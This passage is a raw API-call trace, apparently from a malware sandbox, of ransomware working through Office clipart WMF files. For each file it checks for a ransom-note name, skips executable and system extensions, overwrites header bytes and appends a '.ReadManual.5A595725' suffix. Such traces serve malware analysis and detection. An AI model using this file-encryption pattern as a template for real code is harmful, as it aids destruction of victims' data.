[0271.206] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39187489787) returned 1 [0271.206] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf")) returned 0x20 [0271.207] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.207] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6440) returned 1 [0271.207] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1928, lpName=0x0) returned 0x184 [0271.207] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.208] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.208] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.210] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.210] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1928) returned 0x2f0000 [0271.210] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.210] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39187908566) returned 1 [0271.210] CloseHandle (hObject=0x184) returned 1 [0271.210] SetSecurityInfo () returned 0x57 [0271.211] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.211] CloseHandle (hObject=0x194) returned 1 [0271.211] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00633_.WMF", cAlternateFileName="")) returned 1 [0271.211] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00633_.WMF" | out: lpString1="PE00633_.WMF") returned="PE00633_.WMF" [0271.211] lstrcmpiW (lpString1="PE00633_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.211] StrStrIW (lpFirst="PE00633_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.211] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.211] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.211] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" [0271.211] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.ReadManual.5A595725" [0271.211] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.ReadManual.5A595725") returned 87 [0271.211] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39187996416) returned 1 [0271.211] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf")) returned 0x20 [0271.211] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.212] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19690) returned 1 [0271.212] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4cea, lpName=0x0) returned 0x184 [0271.212] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.213] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.213] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.214] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.214] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4cea) returned 0x2f0000 [0271.215] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.215] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39188359067) returned 1 [0271.215] CloseHandle (hObject=0x184) returned 1 [0271.215] SetSecurityInfo () returned 0x57 [0271.215] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.215] CloseHandle (hObject=0x194) returned 1 [0271.215] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00640_.WMF", cAlternateFileName="")) returned 1 [0271.215] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00640_.WMF" | out: lpString1="PE00640_.WMF") returned="PE00640_.WMF" [0271.215] lstrcmpiW (lpString1="PE00640_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.215] StrStrIW (lpFirst="PE00640_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.215] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.215] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.215] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.215] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.215] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.215] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.215] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.215] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.215] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.215] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.215] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.216] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.216] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.216] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.216] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" [0271.216] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.ReadManual.5A595725" [0271.216] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.ReadManual.5A595725") returned 87 [0271.216] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39188446887) returned 1 [0271.216] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf")) returned 0x20 [0271.217] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.217] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=45356) returned 1 [0271.217] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb12c, lpName=0x0) returned 0x184 [0271.217] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.218] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.218] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.220] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.220] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb12c) returned 0x2f0000 [0271.221] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.221] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39189012442) returned 1 [0271.221] CloseHandle (hObject=0x184) returned 1 [0271.221] SetSecurityInfo () returned 0x57 [0271.222] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.222] CloseHandle (hObject=0x194) returned 1 [0271.222] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00668_.WMF", cAlternateFileName="")) returned 1 [0271.222] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00668_.WMF" | out: lpString1="PE00668_.WMF") returned="PE00668_.WMF" [0271.222] lstrcmpiW (lpString1="PE00668_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.222] StrStrIW (lpFirst="PE00668_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.222] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.222] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.222] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" [0271.222] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.ReadManual.5A595725" [0271.222] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.ReadManual.5A595725") returned 87 [0271.222] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39189102761) returned 1 [0271.222] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf")) returned 0x20 [0271.223] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.223] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24616) returned 1 [0271.223] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6028, lpName=0x0) returned 0x184 [0271.223] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.224] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.224] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.226] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.226] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6028) returned 0x2f0000 [0271.226] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.226] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39189491148) returned 1 [0271.226] CloseHandle (hObject=0x184) returned 1 [0271.226] SetSecurityInfo () returned 0x57 [0271.226] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.226] CloseHandle (hObject=0x194) returned 1 [0271.226] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9c1f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a9c1f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x108a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00685_.WMF", cAlternateFileName="")) returned 1 [0271.226] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00685_.WMF" | out: lpString1="PE00685_.WMF") returned="PE00685_.WMF" [0271.227] lstrcmpiW (lpString1="PE00685_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.227] StrStrIW (lpFirst="PE00685_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.227] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.227] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.227] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" [0271.227] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.ReadManual.5A595725" [0271.227] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.ReadManual.5A595725") returned 87 [0271.227] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39189580110) returned 1 [0271.227] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf")) returned 0x20 [0271.227] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.228] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4234) returned 1 [0271.228] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x108a, lpName=0x0) returned 0x184 [0271.228] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.228] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.229] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.230] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.230] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x108a) returned 0x2f0000 [0271.230] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.231] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39189932098) returned 1 [0271.231] CloseHandle (hObject=0x184) returned 1 [0271.231] SetSecurityInfo () returned 0x57 [0271.231] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.231] CloseHandle (hObject=0x194) returned 1 [0271.231] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78490a00, ftCreationTime.dwHighDateTime=0x1bf0b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78490a00, ftLastWriteTime.dwHighDateTime=0x1bf0b13, nFileSizeHigh=0x0, nFileSizeLow=0x112e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE00686_.WMF", cAlternateFileName="")) returned 1 [0271.231] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE00686_.WMF" | out: lpString1="PE00686_.WMF") returned="PE00686_.WMF" [0271.231] lstrcmpiW (lpString1="PE00686_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.231] StrStrIW (lpFirst="PE00686_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.231] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.231] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.231] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" [0271.231] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.ReadManual.5A595725" [0271.231] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.ReadManual.5A595725") returned 87 [0271.231] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39190022853) returned 1 [0271.232] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf")) returned 0x20 [0271.234] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.235] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4398) returned 1 [0271.235] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x112e, lpName=0x0) returned 0x184 [0271.235] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.235] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.236] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 